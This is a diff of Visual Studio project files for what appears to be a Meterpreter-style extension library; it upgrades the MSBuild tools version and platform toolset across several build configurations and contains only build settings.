<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -43,49 +43,49 @@
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -427,4 +427,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,447 +1,487 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_debug|Win32">
|
||||
<Configuration>r7_debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_debug|x64">
|
||||
<Configuration>r7_debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|Win32">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|x64">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{488BE203-8407-42D1-B334-8B5C3BC5AB3E}</ProjectGuid>
|
||||
<RootNamespace>ext_server_boiler</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">true</LinkIncremental>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</GenerateManifest>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">false</GenerateManifest>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(Configuration)\$(Platform)\</IntDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">true</LinkIncremental>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(Configuration)\$(Platform)\</IntDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</GenerateManifest>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" />
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
|
||||
<ObjectFileName>.\Release\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>.\Release\ext_server_boiler.dll</OutputFile>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform); ;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>.\Release\ext_server_boiler.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>.\Release\ext_server_boiler.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
|
||||
<ObjectFileName>.\Release\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
